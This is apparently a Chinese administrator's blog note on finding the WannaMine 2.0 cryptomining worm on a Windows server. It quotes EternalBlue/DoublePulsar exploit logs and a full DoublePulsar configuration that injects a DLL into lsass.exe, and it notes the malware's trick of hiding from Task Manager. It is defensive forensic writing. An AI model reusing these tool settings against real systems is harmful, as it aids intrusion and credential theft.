服务器中了蠕虫病毒Wannamine2.0小记

近期用户反馈某台服务器总感觉性能不是很好存在卡顿，于是今天远程上去分析。

打开任务管理器发现CPU使用率非常低，内存使用也在接受范围内（10/64G）。不过我有一个偏好就是不喜欢用系统自带的任务管理器查看资源，顺手把procexp搞上去再看一遍。发现rundll32.exe显示占用了62%左右的CPU资源，加载执行一个名为HalPluginServices.dll。之前看过《深入解析Windows操作系统》，就对前缀Hal（Hardware Abstraction Layer）有个概念。和它并行在svhost.exe下运行的还有spoolsv.exe，第一眼看都是挺系统级的执行文件。移动鼠标到spoolsv.exe查看它的运行路径，显示：C:\Windows\SpeechsTracing\spoolsv.exe。看到Speech前缀我心想是不是微软的讲述人相关功能，碰巧打开目录下面还有一个Microsoft子目录，这时候差点信以为真。但我注意到spoolsv.exe会执行cmd，好奇查看了一下是什么命令：

C:\Windows\SpeechsTracing\Microsoft\svhost.exe > stage1.txt

出于好奇心紧接着打开stage1.txt，看到如下内容：

[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump ( bytes):
0x00000000    6e  6f             Windows Server
0x00000010          6e          R2 Enterpris
0x00000020                   e  Service P
0x00000030    6b                                   ack .
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        ..........DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet

这不正是一个SMB攻击，再看一下同目录下的stage2.txt：

[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
    [+] Backdoor returned code:  - Success!
    [+] Ping returned Target architecture: x64 (-bit) - XOR Key: 0xEE83B3A2
    SMB Connection string is: Windows Server  R2 Enterprise  Service Pack
    Target OS is:  R2 x64
    Target SP is:
    [+] Backdoor installed
    [+] DLL built
    [.] Sending shellcode to inject DLL
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Backdoor returned code:  - Success!
    [+] Command completed successfully
<config xmlns="urn:trch" id="a748cf79831d6c2444050f18217611549fe3f619" configversion="1.3.1.0" name="Doublepulsar" version="1.3.1" schemaversion="2.0.0">
  <inputparameters>
    <parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds).  Use -1 for no timeout." type="S16" format="Scalar" valid="true">
      <default></default>
      <value></value>
    </parameter>
    <parameter name="TargetIp" description="Target IP Address" type="IPv4" format="Scalar" valid="true">
      <value>10.244.251.57</value>
    </parameter>
    <parameter name="TargetPort" description="Port used by the Double Pulsar back door" type="TcpPort" format="Scalar" valid="true">
      <default></default>
      <value></value>
    </parameter>
    <parameter name="LogFile" description="Where to write log file" type="String" format="Scalar" required="false"></parameter>
    <parameter name="OutConfig" description="Where to write output parameters file" type="String" format="Scalar" valid="true">
      <default>stdout</default>
      <value>stdout</value>
    </parameter>
    <parameter name="ValidateOnly" description="Stop execution after parameter validation" type="Boolean" format="Scalar" valid="true">
      <default>false</default>
      <value>false</value>
    </parameter>
    <paramchoice name="Protocol" description="Protocol for the backdoor to speak">
      <default>SMB</default>
      <value>SMB</value>
      <paramgroup name="SMB" description="Ring 0 SMB (TCP 445) backdoor"></paramgroup>
      <paramgroup name="RDP" description="Ring 0 RDP (TCP 3389) backdoor"></paramgroup>
    </paramchoice>
    <paramchoice name="Architecture" description="Architecture of the target OS">
      <default>x64</default>
      <value>x64</value>
      <paramgroup name="x86" description="x86 32-bits"></paramgroup>
      <paramgroup name="x64" description="x64 64-bits"></paramgroup>
    </paramchoice>
    <paramchoice name="Function" description="Operation for backdoor to perform">
      <default>OutputInstall</default>
      <value>RunDLL</value>
      <paramgroup name="OutputInstall" description="Only output the install shellcode to a binary file on disk.">
        <parameter name="OutputFile" description="Full path to the output file" type="String" format="Scalar"></parameter>
      </paramgroup>
      <paramgroup name="Ping" description="Test for presence of backdoor"></paramgroup>
      <paramgroup name="RunDLL" description="Use an APC to inject a DLL into a user mode process.">
        <parameter name="DllPayload" description="DLL to inject into user mode" type="LocalFile" format="Scalar" valid="true">
          <value>C:\Windows\SpeechsTracing\Microsoft\\x64.dll</value>
        </parameter>
        <parameter name="DllOrdinal" description="The exported ordinal number of the DLL being injected to call" type="U32" format="Scalar" valid="true">
          <default></default>
          <value></value>
        </parameter>
        <parameter name="ProcessName" description="Name of process to inject into" type="String" format="Scalar" valid="true">
          <default>lsass.exe</default>
          <value>lsass.exe</value>
        </parameter>
        <parameter name="ProcessCommandLine" description="Command line of process to inject into" type="String" format="Scalar" valid="true">
          <default></default>
          <value></value>
        </parameter>
      </paramgroup>
      <paramgroup name="RunShellcode" description="Run raw shellcode">
        <parameter name="ShellcodeFile" description="Full path to the file containing shellcode" type="LocalFile" format="Scalar"></parameter>
        <parameter name="ShellcodeData" description="Full path to the file containing shellcode to run" type="LocalFile" format="Scalar"></parameter>
      </paramgroup>
      <paramgroup name="Uninstall" description="Remove's backdoor from system"></paramgroup>
    </paramchoice>
  </inputparameters>
  <outputparameters>
    <paramchoice name="Function" description="Operation for backdoor to perform">
      <paramgroup name="OutputInstall" description="Only output the install shellcode to a file on disk.">
        <parameter name="ShellcodeFile" description="Full path to the file containing Double Pulsar shellcode installer" type="String" format="Scalar"></parameter>
        <parameter name="ShellcodeData" description="Full path to the file containing Double Pulsar shellcode installer" type="LocalFile" format="Scalar"></parameter>
      </paramgroup>
      <paramgroup name="Ping" description="Test for presence of backdoor">
        <parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></parameter>
      </paramgroup>
      <paramgroup name="RunDLL" description="Inject a DLL into a user mode process.">
        <parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></parameter>
      </paramgroup>
      <paramgroup name="Uninstall" description="Remove's backdoor from system">
        <parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></parameter>
      </paramgroup>
    </paramchoice>
  </outputparameters>
</config>

基本明白这是一个蠕虫病毒，目录下面还有之前的永恒之蓝（Eternalblue-2.2.0.fb）。这个时候我突然意识到一个现象，原来病毒作者发现用户运行任务管理器时候会自动把rundll32.exe给杀掉，造成一个系统运行占用CPU资源很少的假象，我只是运行了procexp才发现了问题。